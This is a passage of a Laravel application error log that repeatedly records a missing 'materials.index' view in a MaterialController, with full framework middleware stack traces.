#33 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
#34 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#35 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#36 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
#37 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#38 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
#39 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#40 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
#41 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#42 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle()
#43 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#44 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle()
#45 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#46 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
#47 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#48 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
#49 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#50 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then()
#51 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#52 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle()
#53 /var/www/html/flnavigator/public/index.php(20): Illuminate\\Foundation\\Application->handleRequest()
#54 {main}
"} 
[2026-06-02 12:11:01] local.ERROR: View [materials.index] not found. {"exception":"[object] (InvalidArgumentException(code: 0): View [materials.index] not found. at /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:138)
[stacktrace]
#0 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php(78): Illuminate\\View\\FileViewFinder->findInPaths()
#1 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Factory.php(150): Illuminate\\View\\FileViewFinder->find()
#2 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(1101): Illuminate\\View\\Factory->make()
#3 /var/www/html/flnavigator/app/Http/Controllers/MaterialController.php(71): view()
#4 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(46): App\\Http\\Controllers\\MaterialController->index()
#5 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch()
#6 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
#9 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#10 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
#11 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#12 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
#13 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#14 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
#15 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#16 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
#17 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle()
#18 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#19 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
#20 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#21 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
#22 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#23 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then()
#24 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack()
#25 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute()
#26 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute()
#27 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch()
#28 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
#29 /var/www/html/flnavigator/vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php(19): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#30 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
#31 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#32 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#33 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
#34 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#35 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#36 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
#37 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#38 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
#39 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#40 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
#41 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#42 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle()
#43 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#44 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle()
#45 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#46 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
#47 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#48 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
#49 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#50 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then()
#51 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#52 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle()
#53 /var/www/html/flnavigator/public/index.php(20): Illuminate\\Foundation\\Application->handleRequest()
#54 {main}
"} 
[2026-06-02 12:11:06] local.ERROR: View [materials.index] not found. {"exception":"[object] (InvalidArgumentException(code: 0): View [materials.index] not found. at /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:138)
[stacktrace]
#0 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php(78): Illuminate\\View\\FileViewFinder->findInPaths()
#1 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Factory.php(150): Illuminate\\View\\FileViewFinder->find()
#2 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(1101): Illuminate\\View\\Factory->make()
#3 /var/www/html/flnavigator/app/Http/Controllers/MaterialController.php(71): view()
#4 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(46): App\\Http\\Controllers\\MaterialController->index()
#5 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch()
#6 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
#9 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#10 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
#11 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#12 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
#13 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#14 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
#15 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#16 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
#17 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle()
#18 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#19 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
#20 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#21 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
#22 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#23 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then()
#24 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack()
#25 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute()
#26 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute()
#27 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch()
#28 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
#29 /var/www/html/flnavigator/vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php(19): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#30 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
#31 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#32 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#33 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle()
#34 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#35 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle()
#36 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle()
#37 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#38 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle()
#39 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#40 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle()
#41 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#42 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle()
#43 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#44 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle()
#45 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#46 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle()
#47 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#48 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle()
#49 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#50 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then()
#51 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#52 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle()
#53 /var/www/html/flnavigator/public/index.php(20): Illuminate\\Foundation\\Application->handleRequest()
#54 {main}
"} 
[2026-06-02 12:11:10] local.ERROR: View [materials.index] not found. {"exception":"[object] (InvalidArgumentException(code: 0): View [materials.index] not found. at /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php:138)
[stacktrace]
#0 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/FileViewFinder.php(78): Illuminate\\View\\FileViewFinder->findInPaths()
#1 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Factory.php(150): Illuminate\\View\\FileViewFinder->find()
#2 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/helpers.php(1101): Illuminate\\View\\Factory->make()
#3 /var/www/html/flnavigator/app/Http/Controllers/MaterialController.php(71): view()
#4 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(46): App\\Http\\Controllers\\MaterialController->index()
#5 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch()
#6 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#7 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#8 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}()
#9 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#10 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle()
#11 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#12 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle()
#13 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/View/Middleware/ShareErrorsFromSession.php(48): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#14 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\View\\Middleware\\ShareErrorsFromSession->handle()
#15 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(120): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#16 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Session/Middleware/StartSession.php(63): Illuminate\\Session\\Middleware\\StartSession->handleStatefulRequest()
#17 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Session\\Middleware\\StartSession->handle()
#18 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/AddQueuedCookiesToResponse.php(36): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#19 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\AddQueuedCookiesToResponse->handle()
#20 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Cookie/Middleware/EncryptCookies.php(74): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#21 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Cookie\\Middleware\\EncryptCookies->handle()
#22 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}()
#23 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then()
#24 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack()
#25 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute()
#26 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute()
#27 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch()
#28 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}()
#29 /var/www/html/flnavigator/vendor/livewire/livewire/src/Features/SupportDisablingBackButtonCache/DisableBackButtonCacheMiddleware.php(19): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}()
#30 /var/www/html/flnavigator/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Livewire\\Features\\SupportDisablingBackButtonCache\\DisableBackButtonCacheMiddleware->handle()
